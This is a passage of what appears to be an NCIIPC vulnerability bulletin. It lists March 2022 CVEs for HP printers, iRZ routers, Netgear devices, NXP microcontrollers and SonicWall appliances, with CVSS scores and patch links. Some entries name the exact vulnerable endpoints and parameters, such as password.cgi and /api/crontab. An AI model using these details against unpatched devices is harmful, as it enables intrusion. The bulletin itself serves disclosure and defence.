N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/477
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/478
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-PAGE-070422/479

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: pagewide_pro_577dw_d3q21a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/480
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/481
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/482
Product: pagewide_pro_577z_k9z76a					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/483
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/484
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/485
Vendor: IRZ					
Product: rl01					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob	N/A	H-IRZ-RL01-070422/486

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**		
Product: rl21					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat	N/A	H-IRZ-RL21-070422/487

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**		
Product: ru21					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**	N/A	H-IRZ-RU21-070422/488
Product: ru21w					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16	N/A	H-IRZ-RU21-070422/489

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**		
Product: ru41					
Cross-Site Request Forgery (CSRF)	19-Mar-22	8.8	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain	N/A	H-IRZ-RU41-070422/490

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction. **CVE ID : CVE-2022-27226**		
Vendor: Netgear					
Product: cax80					
Out-of-bounds Write	18-Mar-22	7.8	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code without authentication. **CVE ID : CVE-2022-24655**	https://github.com/doudoudedi/Netgear_product_stack_overflow/blob/main/NETGEAR%20EX%20series%20upnpd%20stack_overflow.md, https://www.netgear.com/about/security/	H-NET-CAX8-070422/491
Product: dc112a					
Out-of-bounds Write	18-Mar-22	7.8	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code without authentication. **CVE ID : CVE-2022-24655**	https://github.com/doudoudedi/Netgear_product_stack_overflow/blob/main/NETGEAR%20EX%20series%20upnpd%20stack_overflow.md, https://www.netgear.com/about/security/	H-NET-DC11-070422/492

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: ex6100					
Out-of-bounds Write	18-Mar-22	7.8	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code without authentication. **CVE ID : CVE-2022-24655**	https://github.com/doudoudedi/Netgear_product_stack_overflow/blob/main/NETGEAR%20EX%20series%20upnpd%20stack_overflow.md, https://www.netgear.com/about/security/	H-NET-EX61-070422/493
Product: ex6200					
Out-of-bounds Write	18-Mar-22	7.8	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code without authentication. **CVE ID : CVE-2022-24655**	https://github.com/doudoudedi/Netgear_product_stack_overflow/blob/main/NETGEAR%20EX%20series%20upnpd%20stack_overflow.md, https://www.netgear.com/about/security/	H-NET-EX62-070422/494
Product: r8500					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Mar-22	8.8	NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the sysNewPasswd and sysConfirmPasswd	https://github.com/donothingme/VUL/blob/main/vul2/2.md	H-NET-R850-070422/495

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			parameters to password.cgi. **CVE ID : CVE-2022-27945**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Mar-22	8.8	NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the sysNewPasswd and sysConfirmPasswd parameters to admin_account.cgi. **CVE ID : CVE-2022-27946**	https://github.com/donothingme/VUL/blob/main/vul3/3.md	H-NET-R850-070422/496
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Mar-22	8.8	NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the ipv6_fix.cgi ipv6_wan_ipaddr, ipv6_lan_ipaddr, ipv6_wan_length, or ipv6_lan_length parameter. **CVE ID : CVE-2022-27947**	https://github.com/donothingme/VUL/blob/main/vul1/1.md	H-NET-R850-070422/497
Vendor: nxp					
Product: lpc55s66jbd100					
Buffer Copy without Checking	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98,	https://www.nxp.com	H-NXP-LPC5-070422/498

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Size of Input ('Classic Buffer Overflow')			LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**		
Product: lpc55s66jbd64					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**	https://www.nxp.com	H-NXP-LPC5-070422/499
Product: lpc55s66jev98					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**	https://www.nxp.com	H-NXP-LPC5-070422/500
Product: lpc55s69jbd100					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update.	https://www.nxp.com	H-NXP-LPC5-070422/501

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22819		
Product: lpc55s69jbd64					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**	https://www.nxp.com	H-NXP-LPC5-070422/502
Product: lpc55s69jev98					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-	https://www.nxp.com	H-NXP-LPC5-070422/503

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**		
Vendor: Sonicwall					
Product: nsa_2700					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSA_-070422/504
Product: nsa_3700					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSA_-070422/505
Product: nsa_4700					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSA_-070422/506
Product: nsa_5700					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSA_-070422/507
Product: nsa_6700					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSA_-070422/508

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			results in code execution in the firewall. **CVE ID : CVE-2022-22274**		
Product: nssp_10700					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSSP-070422/509
Product: nssp_11700					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSSP-070422/510
Product: nssp_13700					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the	https://psirt.global.sonicwall.com/vuln-	H-SON-NSSP-070422/511

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	detail/SNWLID-2022-0003	
Product: nssp_15700					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSSP-070422/512
Product: nsv_10					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall.	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/513

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22274		
Product: nsv_100					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/514
Product: nsv_1600					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/515
Product: nsv_200					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/516

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**		
Product: nsv_25					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/517
Product: nsv_270					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/518

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: nsv_300					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/519
Product: nsv_400					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/520
Product: nsv_470					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/521

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**		
Product: nsv_50					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/522
Product: nsv_800					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/523
Product: nsv_870					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-NSV_-070422/524
Product: sma_200					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions.	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SMA_-070422/525

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22273		
Product: sma_210					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SMA_-070422/526
Product: sma_400					
Improper Neutralization of Special Elements used in an OS Command ('OS	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SMA_-070422/527

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command Injection')			Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**		
Product: sma_410					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SMA_-070422/528

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**		
Product: sma_500v					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SMA_-070422/529
Product: sra_1200					
Improper Neutralization of Special Elements used in an OS Command	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SRA_-070422/530

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**		
Product: sra_1600					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SRA_-070422/531

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**		
Product: sra_4200					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SRA_-070422/532
Product: sra_4600					
Improper Neutralization of Special Elements used in an	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	H-SON-SRA_-070422/533

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
OS Command ('OS Command Injection')			Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**		
Product: tz270					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ27-070422/534
Product: tz270w					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the	https://psirt.global.sonicwall.com/vuln-	H-SON-TZ27-070422/535

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	detail/SNWLID-2022-0003	
Product: tz370					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ37-070422/536
Product: tz370w					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall.	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ37-070422/537

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22274		
Product: tz470					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ47-070422/538
Product: tz470w					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ47-070422/539
Product: tz570					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ57-070422/540

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**		
Product: tz570p					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ57-070422/541
Product: tz570w					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ57-070422/542

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: tz670					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	H-SON-TZ67-070422/543
Vendor: Tenda					
Product: ac6					
